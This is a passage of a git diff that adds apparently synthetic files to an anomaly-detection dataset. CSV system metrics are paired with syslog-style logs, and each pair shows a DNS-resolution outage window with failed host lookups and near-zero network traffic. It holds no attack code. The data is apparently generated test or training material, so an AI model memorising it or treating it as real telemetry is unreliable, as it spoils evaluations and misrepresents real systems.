payment.provider.net: Name or service not known +Jul 09 10:02:49 web-app[2231]: ERROR DNS resolution failed for updates.internal.service.local +Jul 09 10:02:52 payment-gateway[3102]: WARN Could not resolve hostname for payment.provider.net: Name or service not known +Jul 09 10:02:57 data-processor[4555]: CRITICAL Uncaught exception: java.net.UnknownHostException: cdn.assets.com +Jul 09 10:03:12 database-connector[1899]: INFO Connection to db-main-1 established. +Jul 09 10:03:17 web-app[2231]: ERROR Failed to connect to api.thirdparty.com: Host not found +Jul 09 10:03:22 data-processor[4555]: CRITICAL Uncaught exception: java.net.UnknownHostException: cdn.assets.com +Jul 09 10:03:31 database-connector[1899]: INFO Connection to db-main-1 established. +Jul 09 10:03:34 payment-gateway[3102]: WARN Could not resolve hostname for payment.provider.net: Name or service not known +Jul 09 10:03:48 web-app[2231]: INFO GET /api/v1/metrics status=200 OK +Jul 09 10:03:51 payment-gateway[3102]: WARN Could not resolve hostname for payment.provider.net: Name or service not known +Jul 09 10:03:54 web-app[2231]: ERROR DNS resolution failed for updates.internal.service.local +Jul 09 10:03:57 web-app[2231]: ERROR Failed to connect to api.thirdparty.com: Host not found +Jul 09 10:04:14 systemd[1]: INFO Starting daily clean up activities... +Jul 09 10:04:18 web-app[2231]: ERROR Failed to connect to api.thirdparty.com: Host not found +Jul 09 10:04:22 payment-gateway[3102]: WARN Could not resolve hostname for payment.provider.net: Name or service not known +Jul 09 10:04:26 web-app[2231]: ERROR Failed to connect to api.thirdparty.com: Host not found +Jul 09 10:04:28 data-processor[4555]: CRITICAL Uncaught exception: java.net.UnknownHostException: cdn.assets.com +Jul 09 10:04:32 web-app[2231]: ERROR DNS resolution failed for updates.internal.service.local +Jul 09 10:04:35 data-processor[4555]: CRITICAL Uncaught exception: java.net.UnknownHostException: cdn.assets.com +Jul 09 10:04:37 web-app[2231]: ERROR Failed to connect to api.thirdparty.com: Host not found +Jul 09 10:04:40 web-app[2231]: ERROR DNS resolution failed for updates.internal.service.local +Jul 09 10:04:43 web-app[2231]: ERROR DNS resolution failed for updates.internal.service.local +Jul 09 10:04:48 data-processor[4555]: CRITICAL Uncaught exception: java.net.UnknownHostException: cdn.assets.com +Jul 09 10:04:53 web-app[2231]: ERROR Failed to connect to api.thirdparty.com: Host not found +Jul 09 10:05:02 web-app[2231]: INFO GET /api/v1/user/15 status=200 OK +Jul 09 10:05:07 database-connector[1899]: INFO Connection to db-main-1 established. +Jul 09 10:05:21 CRON[6732]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:05:30 systemd[1]: INFO Starting daily clean up activities... +Jul 09 10:05:37 web-app[2231]: INFO GET /api/v1/user/15 status=200 OK +Jul 09 10:05:44 web-app[2231]: INFO GET /api/v1/user/15 status=200 OK +Jul 09 10:05:56 web-app[2231]: INFO GET /api/v1/metrics status=200 OK +Jul 09 10:06:03 database-connector[1899]: INFO Connection to db-main-1 established. +Jul 09 10:06:21 CRON[6732]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:06:33 CRON[6732]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:06:41 web-app[2231]: INFO GET /api/v1/metrics status=200 OK +Jul 09 10:06:46 database-connector[1899]: INFO Connection to db-main-1 established. +Jul 09 10:06:54 web-app[2231]: INFO GET /api/v1/metrics status=200 OK +Jul 09 10:07:09 web-app[2231]: INFO GET /api/v1/user/15 status=200 OK +Jul 09 10:07:20 systemd[1]: INFO Starting daily clean up activities... diff --git a/anom_dataset/scenario_9/anom_9_24.csv b/anom_dataset/scenario_9/anom_9_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..bda5929103dd9617a29fb478e16b44b00c75f46f --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T14:00:00Z,13.71,41.07,36.52,1.07,0.92 +2025-07-09T14:00:05Z,14.33,40.6,29.0,0.97,0.71 +2025-07-09T14:00:10Z,13.63,42.07,31.73,1.49,1.04 +2025-07-09T14:00:15Z,15.95,40.03,26.61,0.98,0.69 +2025-07-09T14:00:20Z,15.3,37.17,28.46,1.36,0.61 +2025-07-09T14:00:25Z,14.56,37.9,31.9,1.35,0.89 +2025-07-09T14:00:30Z,10.51,40.73,25.93,1.45,0.65 +2025-07-09T14:00:35Z,14.01,33.11,26.75,0.94,0.31 +2025-07-09T14:00:40Z,15.57,40.9,25.51,1.28,0.64 +2025-07-09T14:00:45Z,13.15,42.79,21.11,1.22,0.78 +2025-07-09T14:00:50Z,15.53,35.92,17.61,1.31,0.74 +2025-07-09T14:00:55Z,18.76,40.22,31.95,0.68,0.91 +2025-07-09T14:01:00Z,17.19,45.91,32.34,0.93,0.76 +2025-07-09T14:01:05Z,17.75,35.97,30.66,1.11,0.55 +2025-07-09T14:01:10Z,19.56,45.27,32.31,1.68,0.95 +2025-07-09T14:01:15Z,16.19,41.55,32.44,1.03,0.77 +2025-07-09T14:01:20Z,18.71,37.89,32.84,1.32,0.58 +2025-07-09T14:01:25Z,15.8,47.91,36.66,1.39,0.73 +2025-07-09T14:01:30Z,14.25,37.93,26.19,1.23,0.38 +2025-07-09T14:01:35Z,16.99,39.09,28.48,1.61,0.71 +2025-07-09T14:01:40Z,16.82,34.72,24.95,1.58,0.74 +2025-07-09T14:01:45Z,14.92,38.34,28.1,1.29,0.77 +2025-07-09T14:01:50Z,15.47,39.33,27.85,1.06,0.63 +2025-07-09T14:01:55Z,12.92,38.2,31.39,1.39,0.85 +2025-07-09T14:02:00Z,12.6,40.78,25.62,1.09,0.83 +2025-07-09T14:02:05Z,15.81,42.75,35.25,1.32,0.72 +2025-07-09T14:02:10Z,13.68,40.77,33.2,1.0,0.95 +2025-07-09T14:02:15Z,15.37,44.44,33.53,1.2,0.94 +2025-07-09T14:02:20Z,17.02,43.11,32.94,1.49,0.73 +2025-07-09T14:02:25Z,16.22,39.81,39.93,1.26,0.74 +2025-07-09T14:02:30Z,15.05,35.67,24.46,0.03,0.0 +2025-07-09T14:02:35Z,16.65,36.84,28.59,0.01,0.08 +2025-07-09T14:02:40Z,12.78,40.69,26.42,0.01,0.07 +2025-07-09T14:02:45Z,15.24,37.86,28.93,0.07,0.09 +2025-07-09T14:02:50Z,13.57,40.05,32.93,0.04,0.07 +2025-07-09T14:02:55Z,16.1,40.7,31.14,0.02,0.02 +2025-07-09T14:03:00Z,12.87,43.5,25.86,0.02,0.06 +2025-07-09T14:03:05Z,16.92,35.56,37.28,0.08,0.09 +2025-07-09T14:03:10Z,18.38,37.56,32.71,0.05,0.07 +2025-07-09T14:03:15Z,16.8,33.13,29.02,0.05,0.07 +2025-07-09T14:03:20Z,13.39,43.74,28.92,0.01,0.06 +2025-07-09T14:03:25Z,12.72,40.99,31.53,0.1,0.02 +2025-07-09T14:03:30Z,15.92,38.95,36.35,0.05,0.06 +2025-07-09T14:03:35Z,13.87,36.77,27.31,0.06,0.03 +2025-07-09T14:03:40Z,14.97,43.02,30.06,0.06,0.05 +2025-07-09T14:03:45Z,14.11,39.03,26.83,0.03,0.07 +2025-07-09T14:03:50Z,16.82,42.97,28.96,0.1,0.06 +2025-07-09T14:03:55Z,12.2,38.72,30.82,0.08,0.08 +2025-07-09T14:04:00Z,14.67,40.46,27.61,0.02,0.04 +2025-07-09T14:04:05Z,15.11,33.79,26.78,0.04,0.07 +2025-07-09T14:04:10Z,15.76,42.3,26.7,0.03,0.06 +2025-07-09T14:04:15Z,13.25,44.2,22.45,0.04,0.02 +2025-07-09T14:04:20Z,12.42,43.96,30.24,0.07,0.02 +2025-07-09T14:04:25Z,17.62,36.33,28.96,0.01,0.06 +2025-07-09T14:04:30Z,15.39,35.25,25.44,0.07,0.0 +2025-07-09T14:04:35Z,13.71,45.34,32.46,0.01,0.05 +2025-07-09T14:04:40Z,17.23,38.41,26.8,0.01,0.05 +2025-07-09T14:04:45Z,14.62,41.02,28.51,0.07,0.09 +2025-07-09T14:04:50Z,17.48,39.53,23.55,0.05,0.06 +2025-07-09T14:04:55Z,15.7,37.67,30.33,0.06,0.02 +2025-07-09T14:05:00Z,14.42,41.69,35.66,1.25,0.88 +2025-07-09T14:05:05Z,15.19,38.02,32.46,1.05,0.64 +2025-07-09T14:05:10Z,11.21,40.68,37.43,0.82,0.65 +2025-07-09T14:05:15Z,12.74,41.49,28.45,1.38,0.98 +2025-07-09T14:05:20Z,14.33,44.72,31.83,1.11,0.61 +2025-07-09T14:05:25Z,12.73,40.36,22.84,0.75,1.14 +2025-07-09T14:05:30Z,14.06,36.23,24.43,0.86,0.65 +2025-07-09T14:05:35Z,13.87,39.91,24.17,0.8,0.83 +2025-07-09T14:05:40Z,15.4,37.21,27.58,1.07,1.01 +2025-07-09T14:05:45Z,13.65,31.41,31.87,1.03,0.4 +2025-07-09T14:05:50Z,13.59,45.01,38.15,1.22,0.48 +2025-07-09T14:05:55Z,14.78,40.67,30.4,1.17,0.92 +2025-07-09T14:06:00Z,16.06,34.65,36.8,1.22,0.38 +2025-07-09T14:06:05Z,16.72,37.9,33.64,0.67,0.58 +2025-07-09T14:06:10Z,17.66,40.11,24.78,1.66,0.94 +2025-07-09T14:06:15Z,14.55,45.87,31.9,0.71,0.99 +2025-07-09T14:06:20Z,15.62,40.26,34.63,1.44,1.05 +2025-07-09T14:06:25Z,16.33,36.63,27.02,1.18,0.8 +2025-07-09T14:06:30Z,14.22,38.73,27.46,1.02,0.79 +2025-07-09T14:06:35Z,16.7,38.88,33.78,1.1,1.01 +2025-07-09T14:06:40Z,13.69,36.43,37.67,1.31,0.58 +2025-07-09T14:06:45Z,14.15,39.6,22.64,1.48,0.86 +2025-07-09T14:06:50Z,14.51,38.82,27.71,1.29,0.72 +2025-07-09T14:06:55Z,15.36,34.09,33.9,0.9,0.69 +2025-07-09T14:07:00Z,13.48,39.83,29.67,1.12,0.73 +2025-07-09T14:07:05Z,16.36,33.74,26.05,1.63,0.9 +2025-07-09T14:07:10Z,19.53,37.52,33.31,1.27,0.99 +2025-07-09T14:07:15Z,18.17,37.91,23.44,1.71,0.77 +2025-07-09T14:07:20Z,13.97,41.66,37.91,1.61,0.77 +2025-07-09T14:07:25Z,13.3,41.55,32.93,1.18,0.88 diff --git a/anom_dataset/scenario_9/anom_9_24.log b/anom_dataset/scenario_9/anom_9_24.log new file mode 100644 index 0000000000000000000000000000000000000000..08107809732118a1f31b50b10cf3de25d4a9c7e6 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_24.log @@ -0,0 +1,44 @@ +Jul 09 14:00:00 systemd[1]: Starting daily clean up activities... +Jul 09 14:00:00 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:00:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:00:35 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:00:50 systemd[1]: Starting daily clean up activities... +Jul 09 14:01:05 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:01:10 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:01:40 systemd[1]: Starting daily clean up activities... +Jul 09 14:01:45 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:02:10 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:02:20 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:02:30 systemd[1]: Starting daily clean up activities... +Jul 09 14:02:30 ERROR api-connector[4567]: Could not resolve host: external.api.service.com +Jul 09 14:02:40 ERROR api-connector[4567]: Failed to connect to external.api.service.com: Unknown host +Jul 09 14:02:50 ERROR api-connector[4567]: Could not resolve host: external.api.service.com +Jul 09 14:02:55 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:03:00 ERROR api-connector[4567]: Failed to connect to external.api.service.com: Unknown host +Jul 09 14:03:10 ERROR api-connector[4567]: Could not resolve host: external.api.service.com +Jul 09 14:03:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:03:20 systemd[1]: Starting daily clean up activities... +Jul 09 14:03:20 WARN api-connector[4567]: Name or service not known for external.api.service.com +Jul 09 14:03:30 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:03:30 ERROR api-connector[4567]: Could not resolve host: external.api.service.com +Jul 09 14:03:40 ERROR api-connector[4567]: Failed to connect to external.api.service.com: Unknown host +Jul 09 14:03:50 ERROR api-connector[4567]: Could not resolve host: external.api.service.com +Jul 09 14:04:00 WARN api-connector[4567]: Name or service not known for external.api.service.com +Jul 09 14:04:05 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:04:10 systemd[1]: Starting daily clean up activities... +Jul 09 14:04:10 ERROR api-connector[4567]: Could not resolve host: external.api.service.com +Jul 09 14:04:20 ERROR api-connector[4567]: Failed to connect to external.api.service.com: Unknown host +Jul 09 14:04:20 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:04:30 ERROR api-connector[4567]: Could not resolve host: external.api.service.com +Jul 09 14:04:40 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:04:40 ERROR api-connector[4567]: Failed to connect to external.api.service.com: Unknown host +Jul 09 14:04:50 ERROR api-connector[4567]: Failed to connect to external.api.service.com: Unknown host +Jul 09 14:05:00 systemd[1]: Starting daily clean up activities... +Jul 09 14:05:15 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:05:25 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:05:50 systemd[1]: Starting daily clean up activities... +Jul 09 14:05:50 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:06:25 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:06:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:06:40 systemd[1]: Starting daily clean up activities... +Jul 09 14:07:00 web-app[3456]: GET /api/v1/health status=200 OK diff --git a/anom_dataset/scenario_9/anom_9_25.csv b/anom_dataset/scenario_9/anom_9_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..760403af35ce8f2ba511716cee1aa78602b0851c --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T14:00:00Z,11.12,46.15,26.65,1.13,0.89 +2025-07-09T14:00:05Z,15.8,47.32,19.99,1.57,1.24 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+2025-07-09T14:06:50Z,16.91,45.54,30.74,1.51,1.18 +2025-07-09T14:06:55Z,15.43,44.36,24.53,1.75,1.11 +2025-07-09T14:07:00Z,14.57,44.85,24.03,1.48,1.01 +2025-07-09T14:07:05Z,12.18,44.76,29.66,2.05,1.6 +2025-07-09T14:07:10Z,14.33,44.53,26.24,1.36,0.95 +2025-07-09T14:07:15Z,13.46,45.81,24.2,0.88,1.57 +2025-07-09T14:07:20Z,12.75,53.97,20.55,1.97,1.6 +2025-07-09T14:07:25Z,13.63,46.82,26.95,1.11,1.13 diff --git a/anom_dataset/scenario_9/anom_9_25.log b/anom_dataset/scenario_9/anom_9_25.log new file mode 100644 index 0000000000000000000000000000000000000000..3c7d17c1a2900cb70322bdaaf393a310c40463fc --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_25.log @@ -0,0 +1,51 @@ +Jul 09 14:00:00 systemd[1]: Starting daily clean up activities... +Jul 09 14:00:00 CRON[4512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:00:00 web-app[2041]: GET /api/v1/health status=200 OK +Jul 09 14:00:35 web-app[2041]: GET /api/v1/health status=200 OK +Jul 09 14:01:10 web-app[2041]: GET /api/v1/health status=200 OK +Jul 09 14:01:30 systemd[1]: Starting daily clean up activities... +Jul 09 14:01:45 web-app[2041]: GET /api/v1/health status=200 OK +Jul 09 14:02:05 CRON[4512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:02:20 web-app[2041]: GET /api/v1/health status=200 OK +Jul 09 14:02:30 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:02:30 internal-tool[5432]: ERROR DNS lookup for database.internal.net failed: Name or service not known +Jul 09 14:02:35 data-importer[1988]: ERROR Connection to remote host failed: Host not found (api.external.service) +Jul 09 14:02:40 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:02:50 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:02:50 data-importer[1988]: ERROR Connection to remote host failed: Host not found (api.external.service) +Jul 09 14:02:50 internal-tool[5432]: ERROR DNS lookup for database.internal.net failed: Name or service not known +Jul 09 14:03:00 systemd[1]: Starting daily clean up activities... +Jul 09 14:03:00 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:03:05 data-importer[1988]: ERROR Connection to remote host failed: Host not found (api.external.service) +Jul 09 14:03:10 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:03:10 internal-tool[5432]: ERROR DNS lookup for database.internal.net failed: Name or service not known +Jul 09 14:03:20 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:03:20 data-importer[1988]: ERROR Connection to remote host failed: Host not found (api.external.service) +Jul 09 14:03:30 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:03:30 internal-tool[5432]: ERROR DNS lookup for database.internal.net failed: Name or service not known +Jul 09 14:03:35 data-importer[1988]: ERROR Connection to remote host failed: Host not found (api.external.service) +Jul 09 14:03:40 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:03:50 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:03:50 data-importer[1988]: ERROR Connection to remote host failed: Host not found (api.external.service) +Jul 09 14:03:50 internal-tool[5432]: ERROR DNS lookup for database.internal.net failed: Name or service not known +Jul 09 14:04:00 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:04:05 data-importer[1988]: ERROR Connection to remote host failed: Host not found (api.external.service) +Jul 09 14:04:10 CRON[4512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:04:10 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:04:10 internal-tool[5432]: ERROR DNS lookup for database.internal.net failed: Name or service not known +Jul 09 14:04:20 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:04:20 data-importer[1988]: ERROR Connection to remote host failed: Host not found (api.external.service) +Jul 09 14:04:30 systemd[1]: Starting daily clean up activities... +Jul 09 14:04:30 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:04:30 internal-tool[5432]: ERROR DNS lookup for database.internal.net failed: Name or service not known +Jul 09 14:04:35 data-importer[1988]: ERROR Connection to remote host failed: Host not found (api.external.service) +Jul 09 14:04:40 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:04:50 api-connector[3321]: ERROR failed to connect to api.service.com: java.net.UnknownHostException: api.service.com +Jul 09 14:04:50 data-importer[1988]: ERROR Connection to remote host failed: Host not found (api.external.service) +Jul 09 14:04:50 internal-tool[5432]: ERROR DNS lookup for database.internal.net failed: Name or service not known +Jul 09 14:05:15 web-app[2041]: GET /api/v1/health status=200 OK +Jul 09 14:05:50 web-app[2041]: GET /api/v1/health status=200 OK +Jul 09 14:06:00 systemd[1]: Starting daily clean up activities... +Jul 09 14:06:15 CRON[4512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:06:25 web-app[2041]: GET /api/v1/health status=200 OK +Jul 09 14:07:00 web-app[2041]: GET /api/v1/health status=200 OK diff --git a/anom_dataset/scenario_9/anom_9_26.csv b/anom_dataset/scenario_9/anom_9_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..b67431ef508a08a01f38c8352156fbf847f7dc3c --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T10:00:00Z,16.37,47.08,17.23,1.01,1.25 +2025-07-09T10:00:05Z,13.77,37.29,27.85,1.19,0.98 +2025-07-09T10:00:10Z,14.61,44.12,23.92,1.24,0.85 +2025-07-09T10:00:15Z,13.62,40.07,33.3,1.08,1.11 +2025-07-09T10:00:20Z,13.21,42.56,28.37,1.08,0.8 +2025-07-09T10:00:25Z,15.14,43.35,26.6,1.06,1.06 +2025-07-09T10:00:30Z,13.88,42.69,32.52,0.86,0.9 +2025-07-09T10:00:35Z,13.84,39.59,35.01,1.19,1.23 +2025-07-09T10:00:40Z,15.78,40.83,35.15,1.47,1.09 +2025-07-09T10:00:45Z,10.85,41.57,19.36,1.0,0.84 +2025-07-09T10:00:50Z,11.78,37.31,31.01,1.29,0.83 +2025-07-09T10:00:55Z,12.53,44.64,30.96,1.3,0.99 +2025-07-09T10:01:00Z,18.61,36.82,31.53,1.1,0.92 +2025-07-09T10:01:05Z,17.44,38.71,34.92,1.21,0.5 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+2025-07-09T10:06:10Z,12.49,44.34,33.25,1.47,0.71 +2025-07-09T10:06:15Z,16.56,38.95,28.5,1.58,1.32 +2025-07-09T10:06:20Z,12.52,43.84,30.07,1.13,1.16 +2025-07-09T10:06:25Z,16.47,38.6,28.68,1.16,0.77 +2025-07-09T10:06:30Z,16.55,36.3,36.34,0.89,1.01 +2025-07-09T10:06:35Z,11.49,41.83,31.16,1.15,0.92 +2025-07-09T10:06:40Z,17.51,40.91,33.84,1.26,0.86 +2025-07-09T10:06:45Z,15.12,37.22,33.67,1.14,1.01 +2025-07-09T10:06:50Z,14.37,42.52,32.83,1.5,0.86 +2025-07-09T10:06:55Z,12.92,37.64,30.58,1.17,0.78 +2025-07-09T10:07:00Z,13.82,37.36,27.44,1.16,0.73 +2025-07-09T10:07:05Z,14.51,44.77,24.2,1.13,0.71 +2025-07-09T10:07:10Z,19.07,38.01,23.65,1.33,0.87 +2025-07-09T10:07:15Z,13.39,38.87,27.68,1.15,1.11 +2025-07-09T10:07:20Z,17.69,42.81,30.28,1.07,0.76 +2025-07-09T10:07:25Z,14.07,40.09,22.74,0.99,0.75 diff --git a/anom_dataset/scenario_9/anom_9_26.log b/anom_dataset/scenario_9/anom_9_26.log new file mode 100644 index 0000000000000000000000000000000000000000..9cf5e3ba8edcfc4d438a2a279b55b66d3bf71f00 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_26.log @@ -0,0 +1,62 @@ +Jul 09 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 09 10:00:00 api-gateway[2295]: GET /api/v1/user/31 status=200 OK +Jul 09 10:00:00 kubelet[1123]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 09 10:00:20 api-gateway[2295]: GET /api/v1/user/41 status=200 OK +Jul 09 10:00:35 systemd[1]: Starting daily clean up activities... +Jul 09 10:00:40 api-gateway[2295]: GET /api/v1/user/19 status=200 OK +Jul 09 10:01:00 api-gateway[2295]: GET /api/v1/user/26 status=200 OK +Jul 09 10:01:10 systemd[1]: Starting daily clean up activities... +Jul 09 10:01:15 kubelet[1123]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 09 10:01:20 api-gateway[2295]: GET /api/v1/user/37 status=200 OK +Jul 09 10:01:40 api-gateway[2295]: GET /api/v1/user/31 status=200 OK +Jul 09 10:01:45 systemd[1]: Starting daily clean up activities... +Jul 09 10:02:00 api-gateway[2295]: GET /api/v1/user/24 status=200 OK +Jul 09 10:02:20 systemd[1]: Starting daily clean up activities... +Jul 09 10:02:20 api-gateway[2295]: GET /api/v1/user/12 status=200 OK +Jul 09 10:02:30 kubelet[1123]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 09 10:02:30 api-gateway[2295]: ERROR Failed to resolve host: user-auth.service.local (Unknown host) +Jul 09 10:02:35 api-gateway[2295]: ERROR Failed to resolve host: user-auth.service.local (Unknown host) +Jul 09 10:02:40 api-gateway[2295]: ERROR Failed to resolve host: database.internal.service (Unknown host) +Jul 09 10:02:45 api-gateway[2295]: ERROR Failed to resolve host: external.billing.provider (Unknown host) +Jul 09 10:02:50 api-gateway[2295]: ERROR Failed to resolve host: external.billing.provider (Unknown host) +Jul 09 10:02:55 api-gateway[2295]: ERROR Failed to resolve host: user-auth.service.local (Unknown host) +Jul 09 10:03:00 api-gateway[2295]: CRITICAL Could not establish connection to database.internal.service: Name or service not known +Jul 09 10:03:05 api-gateway[2295]: WARN Connection error to user-auth.service.local: Host not found +Jul 09 10:03:10 api-gateway[2295]: CRITICAL Could not establish connection to database.internal.service: Name or service not known +Jul 09 10:03:15 api-gateway[2295]: WARN Connection error to user-auth.service.local: Host not found +Jul 09 10:03:20 kubelet[1123]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 09 10:03:20 api-gateway[2295]: CRITICAL Could not establish connection to user-auth.service.local: Name or service not known +Jul 09 10:03:25 api-gateway[2295]: CRITICAL Could not establish connection to external.billing.provider: Name or service not known +Jul 09 10:03:30 api-gateway[2295]: WARN Connection error to database.internal.service: Host not found +Jul 09 10:03:35 api-gateway[2295]: WARN Connection error to database.internal.service: Host not found +Jul 09 10:03:40 api-gateway[2295]: CRITICAL Could not establish connection to user-auth.service.local: Name or service not known +Jul 09 10:03:45 api-gateway[2295]: WARN Connection error to database.internal.service: Host not found +Jul 09 10:03:50 api-gateway[2295]: CRITICAL Could not establish connection to database.internal.service: Name or service not known +Jul 09 10:03:55 api-gateway[2295]: CRITICAL Could not establish connection to external.billing.provider: Name or service not known +Jul 09 10:04:00 api-gateway[2295]: ERROR Failed to resolve host: user-auth.service.local (Unknown host) +Jul 09 10:04:05 api-gateway[2295]: WARN Connection error to database.internal.service: Host not found +Jul 09 10:04:10 kubelet[1123]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 09 10:04:10 api-gateway[2295]: CRITICAL Could not establish connection to user-auth.service.local: Name or service not known +Jul 09 10:04:15 api-gateway[2295]: ERROR Failed to resolve host: database.internal.service (Unknown host) +Jul 09 10:04:20 api-gateway[2295]: WARN Connection error to user-auth.service.local: Host not found +Jul 09 10:04:25 api-gateway[2295]: CRITICAL Could not establish connection to external.billing.provider: Name or service not known +Jul 09 10:04:30 api-gateway[2295]: CRITICAL Could not establish connection to user-auth.service.local: Name or service not known +Jul 09 10:04:35 api-gateway[2295]: CRITICAL Could not establish connection to user-auth.service.local: Name or service not known +Jul 09 10:04:40 api-gateway[2295]: CRITICAL Could not establish connection to database.internal.service: Name or service not known +Jul 09 10:04:45 api-gateway[2295]: WARN Connection error to user-auth.service.local: Host not found +Jul 09 10:04:50 api-gateway[2295]: CRITICAL Could not establish connection to external.billing.provider: Name or service not known +Jul 09 10:04:55 api-gateway[2295]: ERROR Failed to resolve host: database.internal.service (Unknown host) +Jul 09 10:05:00 api-gateway[2295]: GET /api/v1/user/44 status=200 OK +Jul 09 10:05:00 kubelet[1123]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 09 10:05:15 systemd[1]: Starting daily clean up activities... +Jul 09 10:05:20 api-gateway[2295]: GET /api/v1/user/44 status=200 OK +Jul 09 10:05:40 api-gateway[2295]: GET /api/v1/user/18 status=200 OK +Jul 09 10:05:50 systemd[1]: Starting daily clean up activities... +Jul 09 10:06:00 api-gateway[2295]: GET /api/v1/user/41 status=200 OK +Jul 09 10:06:15 kubelet[1123]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 09 10:06:20 api-gateway[2295]: GET /api/v1/user/14 status=200 OK +Jul 09 10:06:25 systemd[1]: Starting daily clean up activities... +Jul 09 10:06:40 api-gateway[2295]: GET /api/v1/user/30 status=200 OK +Jul 09 10:07:00 systemd[1]: Starting daily clean up activities... +Jul 09 10:07:00 api-gateway[2295]: GET /api/v1/user/27 status=200 OK +Jul 09 10:07:20 api-gateway[2295]: GET /api/v1/user/44 status=200 OK diff --git a/anom_dataset/scenario_9/anom_9_27.csv b/anom_dataset/scenario_9/anom_9_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..5e76fbe6c164b13bf040dfb8a0462ed4d26b1d65 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T10:00:00Z,17.3,44.11,21.75,1.04,0.82 +2025-07-09T10:00:05Z,23.01,39.17,34.68,1.3,1.01 +2025-07-09T10:00:10Z,15.76,35.29,32.53,1.43,0.78 +2025-07-09T10:00:15Z,18.81,42.23,20.12,1.24,0.74 +2025-07-09T10:00:20Z,20.31,38.43,32.09,1.47,0.99 +2025-07-09T10:00:25Z,15.92,41.34,28.65,1.19,0.76 +2025-07-09T10:00:30Z,16.94,35.03,30.18,1.32,0.74 +2025-07-09T10:00:35Z,17.05,41.54,34.26,0.83,1.08 +2025-07-09T10:00:40Z,23.89,35.22,22.98,1.08,0.81 +2025-07-09T10:00:45Z,16.03,42.56,38.48,1.1,0.85 +2025-07-09T10:00:50Z,18.38,44.52,23.11,0.82,1.0 +2025-07-09T10:00:55Z,20.3,40.73,26.67,0.98,0.86 +2025-07-09T10:01:00Z,24.55,41.53,32.98,1.29,0.91 +2025-07-09T10:01:05Z,23.94,37.54,25.04,1.19,1.12 +2025-07-09T10:01:10Z,18.91,41.52,20.1,0.95,1.2 +2025-07-09T10:01:15Z,18.58,37.44,29.65,1.33,1.17 +2025-07-09T10:01:20Z,20.86,38.18,24.81,1.06,1.04 